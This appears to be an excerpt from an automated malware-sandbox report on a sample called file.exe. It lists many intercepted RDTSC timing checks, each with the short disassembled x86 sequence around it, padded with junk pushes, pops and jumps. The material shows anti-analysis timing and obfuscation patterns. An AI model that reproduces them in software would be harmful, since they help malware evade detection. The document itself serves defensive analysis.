Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3B0E second address: EE3B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3B13 second address: EE3B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE9170BF0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3B2E second address: EE3B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE241B second address: EE2421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2421 second address: EE2433 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3DE916F956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F3DE916F962h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2573 second address: EE2579 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2579 second address: EE2588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F3DE916F956h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2588 second address: EE25A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3DE9170BE6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push esi 0x00000010 jc 00007F3DE9170BE6h 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE25A5 second address: EE25A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE25A9 second address: EE25AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE25AD second address: EE25B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2A08 second address: EE2A24 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3DE9170BE6h 0x00000008 jmp 00007F3DE9170BEFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E887A2 second address: E887A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E887A6 second address: E8880D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b movzx ebx, di 0x0000000e pushad 0x0000000f jmp 00007F3DE9170BF1h 0x00000014 popad 0x00000015 popad 0x00000016 mov ebx, dword ptr [ebp+1247C8F7h] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F3DE9170BE8h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov di, 8B90h 0x0000003a or edi, dword ptr [ebp+122D3502h] 0x00000040 add eax, ebx 0x00000042 movzx edx, di 0x00000045 nop 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jne 00007F3DE9170BE6h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8880D second address: E88813 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88813 second address: E88826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88826 second address: E8882C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8882C second address: E88869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F3DE9170BE8h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e nop 0x0000000f mov ecx, dword ptr [ebp+124484A4h] 0x00000015 pushad 0x00000016 sub di, CE5Ah 0x0000001b popad 0x0000001c push 00000004h 0x0000001e jns 00007F3DE9170BE7h 0x00000024 clc 0x00000025 nop 0x00000026 jc 00007F3DE9170C01h 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3DE9170BEFh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88869 second address: E8886D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8886D second address: E88884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3DE9170BEEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88884 second address: E8888E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3DE916F95Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE37BC second address: EE37C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE37C2 second address: EE37E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3DE916F969h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE37E0 second address: EE3804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F3DE9170BF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F3DE9170BE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3804 second address: EE3808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBC8 second address: EEBBD6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3DE9170BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBD6 second address: EEBBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBDA second address: EEBBDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC69B second address: EEC6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F3DE916F95Bh 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F3DE916F95Fh 0x00000012 jl 00007F3DE916F956h 0x00000018 js 00007F3DE916F956h 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC6CC second address: EEC6E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F3DE9170BF3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC6E9 second address: EEC6F3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DE916F956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EECC68 second address: EECC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF03BF second address: EF03CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 ja 00007F3DE916F956h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF03CC second address: EF03E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jng 00007F3DE9170BE6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F3DE9170BE6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF03E6 second address: EF03EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0522 second address: EF0526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0526 second address: EF052C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF06B4 second address: EF06BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0C97 second address: EF0CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3DE916F96Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0CA3 second address: EF0CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE9170BF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0CBA second address: EF0CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3DE916F963h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0DDC second address: EF0DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0DE2 second address: EF0DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jp 00007F3DE916F956h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0DF3 second address: EF0DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0F85 second address: EF0F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0F8A second address: EF0F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BEFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0F9D second address: EF0FA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0FA1 second address: EF0FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C36 second address: EF7C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F961h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C4D second address: EF7C54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF7F4 second address: EFF7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF7F9 second address: EFF7FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF7FF second address: EFF805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF805 second address: EFF810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE01E second address: EFE022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE6FB second address: EFE700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE700 second address: EFE705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE705 second address: EFE70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE70B second address: EFE711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE711 second address: EFE71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F3DE9170BE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07271 second address: F07275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13ABA second address: F13AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13AC2 second address: F13ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE916F964h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13ADB second address: F13AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3DE9170BE6h 0x00000009 jns 00007F3DE9170BE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17EBA second address: F17EC4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3DE916F956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17EC4 second address: F17ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17ED8 second address: F17EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17EE6 second address: F17F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F3DE9170BF6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007F3DE9170BE6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17F14 second address: F17F1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17F1A second address: F17F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17F20 second address: F17F25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17912 second address: F17918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17918 second address: F17953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE916F966h 0x00000009 jo 00007F3DE916F96Dh 0x0000000f jmp 00007F3DE916F967h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17953 second address: F17957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17957 second address: F17971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007F3DE916F966h 0x0000000f pushad 0x00000010 jne 00007F3DE916F956h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D7B8 second address: F1D7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F3DE9170BEEh 0x0000000a jne 00007F3DE9170BF2h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jng 00007F3DE9170BE6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D7E9 second address: F1D802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F3DE916F964h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DB6 second address: F28DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DBA second address: F28DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jg 00007F3DE916F956h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F3DE916F966h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DE4 second address: F28E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEEh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F3DE9170BF3h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F229 second address: F2F22D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F22D second address: F2F23C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3DE9170BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DC0E second address: F2DC18 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3DE916F962h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DC18 second address: F2DC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DC1E second address: F2DC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3DE916F95Eh 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E16F second address: F2E175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E175 second address: F2E180 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E2C6 second address: F2E2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3DE9170BF7h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E2E6 second address: F2E2EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E2EC second address: F2E2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C7D0 second address: F3C7DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DF96 second address: F3DF9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DD6C second address: E4DD77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F3DE916F956h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46584 second address: F46588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46588 second address: F4658E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4658E second address: F465CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007F3DE9170BF7h 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007F3DE9170BF9h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F465CE second address: F465D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F465D4 second address: F465DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F465DA second address: F465DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47C0B second address: F47C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edi 0x00000008 jbe 00007F3DE9170BE6h 0x0000000e jmp 00007F3DE9170BF8h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B472 second address: F4B477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
